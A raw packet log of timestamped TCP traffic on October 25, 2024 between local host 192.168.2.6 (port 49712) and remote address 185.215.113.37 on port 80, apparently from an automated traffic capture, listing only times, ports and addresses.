Oct 25, 2024 13:50:18.472296000 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472299099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472330093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472335100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472369909 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472378969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472413063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472423077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472448111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472449064 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472491026 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472496986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472532034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472532034 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472562075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472574949 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472594976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472601891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472629070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472637892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472661018 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472668886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472700119 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472702026 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472733021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472742081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472769022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472779036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472803116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472815037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472840071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472843885 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472875118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472881079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472918034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.545872927 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.545931101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.545960903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.545970917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.546000004 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.546000957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.546026945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.546055079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588488102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588591099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588598967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588634968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588641882 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588675976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588700056 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588720083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588726997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588761091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588773966 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588794947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588805914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588829994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588839054 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588864088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588875055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588903904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588905096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588936090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.588948965 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588972092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.588987112 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589040041 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589060068 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589104891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589109898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589144945 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589157104 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589184999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589194059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589226961 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589241028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589260101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589270115 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589302063 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589317083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589349985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589356899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589385033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589405060 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589420080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589428902 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589454889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589459896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589505911 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589534044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589540005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589545965 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589575052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589584112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589612007 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589623928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589667082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589674950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589709997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589720964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589752913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589759111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589796066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589802027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589839935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589848042 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589881897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589891911 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589915037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.589926004 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589956045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.589967012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590001106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590012074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590034008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590044022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590066910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590080023 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590101957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590109110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590136051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590146065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590172052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590178013 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590214968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590253115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590286970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590300083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590328932 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590337038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590368986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590382099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590403080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590410948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590435982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590447903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590478897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590487003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590518951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590538025 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590552092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590563059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590591908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590600967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590634108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590643883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590662956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590677977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590697050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.590706110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.590740919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.663348913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.663553953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.663587093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.663623095 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.663640022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.663666010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.705818892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.705874920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.705882072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.705919981 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.705928087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.705962896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.705975056 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706002951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706013918 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706038952 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706041098 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706079960 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706094980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706137896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706145048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706185102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706197023 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706235886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706264019 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706265926 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706276894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706310987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706316948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706350088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706358910 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706393957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706401110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706438065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706450939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706492901 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706501007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706533909 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706542015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706569910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706578016 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706604958 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706614017 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706638098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706650972 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706681013 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706688881 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706722975 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706733942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706757069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706764936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706804037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706808090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706842899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706854105 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706876993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706886053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706913948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.706931114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.706958055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707139015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707185984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707187891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707232952 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707238913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707273006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707292080 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707308054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707319975 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707360029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707374096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707407951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707422972 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707442045 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707453966 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707477093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707492113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707509041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707523108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707556009 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707560062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707593918 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707612038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707628012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707637072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707663059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707674980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707696915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707710028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707731962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707743883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707772017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707778931 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707809925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707819939 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707844973 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707855940 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707890987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707895994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707931995 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707943916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.707964897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.707983017 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.708015919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.708015919 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.708062887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.708091974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.708125114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.708139896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.708158016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.708172083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.708192110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.708204031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.708225012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.708239079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.708259106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.708272934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.708292007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.708307028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.708337069 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.780898094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.780922890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.780941963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.780977011 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.780999899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823395967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823453903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823473930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823525906 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823554039 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823560953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823565006 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823605061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823611975 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823654890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823662043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823695898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823704958 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823729038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823740959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823771954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823780060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823824883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823832035 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823874950 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823880911 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823915005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823923111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823950052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.823959112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.823995113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824001074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824033976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824047089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824084044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824084997 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824122906 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824137926 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824157000 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824162006 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824187040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824202061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824230909 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824244976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824278116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824287891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824310064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824321032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824352026 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824361086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824393988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824409962 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824429035 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824435949 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824462891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824472904 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824506044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824515104 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824548006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.824563026 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824595928 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.824600935 CEST	80	49712	185.215.113.37	192.168.2.6
